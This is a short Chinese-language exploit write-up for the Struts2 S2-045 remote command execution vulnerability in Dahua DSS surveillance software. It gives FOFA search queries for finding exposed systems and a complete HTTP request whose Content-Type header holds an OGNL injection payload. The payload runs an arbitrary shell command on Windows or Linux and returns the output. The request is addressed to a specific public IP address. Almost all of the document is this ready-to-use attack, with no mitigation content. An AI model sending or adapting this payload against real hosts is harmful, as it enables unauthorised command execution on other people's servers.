
大华DSS Struts2 S2-045 远程命令执行漏洞
FOFA语法:app="dahua-DSS" 或 icon_hash="2095320044"
工具测试
数据包
POST /portal/login_init.action HTTP/1.1
Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Charsert: UTF-8
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ip addr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170
Cache-Control: no-cache
Pragma: no-cache
Host: 125.75.241.78:8009
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 202
Connection: close
-----------------------------18012721719170
Content-Disposition: form-data; name="pocfile"; filename="text.txt"
Content-Type: text/plain
tdwefewwe
-----------------------------18012721719170
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